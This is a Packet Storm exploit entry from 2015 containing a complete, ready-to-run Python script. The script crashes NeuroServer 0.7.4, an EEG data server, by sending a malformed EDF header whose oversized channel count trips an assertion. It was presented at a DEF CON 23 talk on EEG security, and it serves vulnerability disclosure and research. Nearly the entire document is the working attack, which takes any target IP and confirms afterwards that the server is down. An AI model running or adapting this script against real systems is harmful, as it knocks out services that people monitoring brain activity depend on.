NeuroServer 0.7.4 Denial Of Service

2015-08-11T00:00:00
ID PACKETSTORM:133025
Type packetstorm
Reporter nitr0us
Modified 2015-08-11T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
#  
# NeuroServer 0.7.4 Remote DoS  
#  
# Shown at DEF CON 23 (BioHacking Village)  
# Brain Waves Surfing - (In)Security in EEG (Electroencephalography) Technologies  
# Slides: http://goo.gl/44r1HH  
#  
# NeuroServer is an EEG (Electroencephalography) TCP/IP Transceiver  
# http://openeeg.sourceforge.net/doc/sw/NeuroServer/  
#  
# Neuroserver mediates between the raw EEG devices and all the various EEG   
# applications that the user may wish to run to analyse the incoming EEG data.   
# Data is transmitted using TCP/IP, which means that the EEG data can just as   
# easily pass over a network (or even the internet) as stay on the same machine.   
# Standard EDF is used for header information and for file storage.   
# The server is designed to run on Windows and Linux.  
#   
#------------------------------------------------------------------------------  
#  
# nsd (NeuroServer Daemon) stops if any assertion is triggered inside isValidREDF() at  
# ~/NeuroServer-0.7.4/src/openedf.c:  
# ...  
# assert(isValidREDF(result));  
# ...  
# int isValidREDF(const struct EDFDecodedConfig *cfg)  
# {  
# int i;  
# if (cfg->hdr.dataRecordSeconds != 1.0) {  
# setLastError("The data record must be exactly 1 second, not %f.",  
# cfg->hdr.dataRecordSeconds);  
# return 0;  
# }  
# if (cfg->hdr.dataRecordChannels < 1) {  
# setLastError("The data record must have at least one channel.");  
# return 0;  
# }  
# if (cfg->chan[0].sampleCount < 1) {  
# setLastError("Channel 0 must have at least one sample.");  
# return 0;  
# }  
# for (i = 1; i < cfg->hdr.dataRecordChannels; ++i) {  
# if (cfg->chan[i].sampleCount != cfg->chan[0].sampleCount) {  
# setLastError("Channel %d has %d samples, but channel 0 has %d. These must be the same.", cfg->chan[i].sampleCount, cfg->chan[0].sampleCount);  
# return 0;  
# }  
# }  
# return 1;  
# }  
#  
  
import socket  
import time  
import sys  
  
# Malformed EDF header  
# Spec: http://www.edfplus.info/specs/edf.html  
EDF = "0 " # Version  
EDF += "Alejandro Hernandez " # Patient Identification  
EDF += "NeuroSky MindWave " # Recording Identification  
EDF += "07.04.1520.55.28768 EDF+C " # Startdate of Recording  
EDF += "29 " # Number of Data Records  
EDF += "1 " # Duration of a Data Record in Seconds  
EDF += "1337 " # Number of Signals. This value triggers the DoS: assert(cfg->hdr.dataRecordChannels < MAXCHANNELS);  
EDF += "Electrode EDF Annotations " # Labels and other data per channel  
EDF += "-32768 -1 32767 1 -32768 -32768 32767 32767 " # PhysiMin PhysiMax DigiMin DigiMax  
  
if len(sys.argv) != 2:  
print 'Usage: ' + __file__ + ' <NeuroServer IP>'  
sys.exit(1)  
  
print r'''  
__,--"""""""""--,.  
_ -\'" _\ ^-,_  
,-" _/ \_  
, / \ \  
,' /_ | \  
/ _____,--""" / ) \  
/ / / ( |  
| / / ) |  
| / NeuroServer 0.7.4 Remote DoS \  
( (_/\ ) / \  
\ \_ ____,====""" / |  
\ /" /"" |  
\_ _,-" |___,-'--------'" |  
"`------"" --" ,-' /  
/ ---" /  
\___/ __,-----,___ )  
\ ,--'"============""""-'"  
"-'" | |=================/  
/___\===============/  
/ |=============/"  
\ \_________,-"  
| |  
| |  
'''  
  
neuroserver = (sys.argv[1], 8336)  
  
s = socket.socket()  
  
print '|- Connecting to %s on port %s\n' % neuroserver  
try:  
s.connect(neuroserver)  
except Exception, e:  
print '|- Can\'t connect to %s:%d' % neuroserver  
print '|- Exception: %s' % (e)  
sys.exit(1)  
  
print '|- Entering in EEG role. NeuroServers\' response:'  
s.send('eeg\n') # EEG role in NeuroServer  
print '----------------------------------------------'  
print s.recv(16).strip('\n')  
print '----------------------------------------------'  
  
print '|- Sending Malformed EDF header (%d bytes):' % len(EDF)  
print '----------------------------------------------'  
print EDF  
print '----------------------------------------------\n'  
s.send('setheader ' + EDF + '\n')  
  
time.sleep(4)  
  
print '|- NeuroServer should be dead now. Connecting...\n'  
try:  
s = socket.socket()  
s.connect(neuroserver)  
except Exception, e:  
print '|- NeuroServer is down !'  
print '|- Exception: %s' % (e)  
else:  
print '|- NeuroServer is still alive :-\, try again...'  
finally:  
s.close()  
  
sys.exit(0);  
`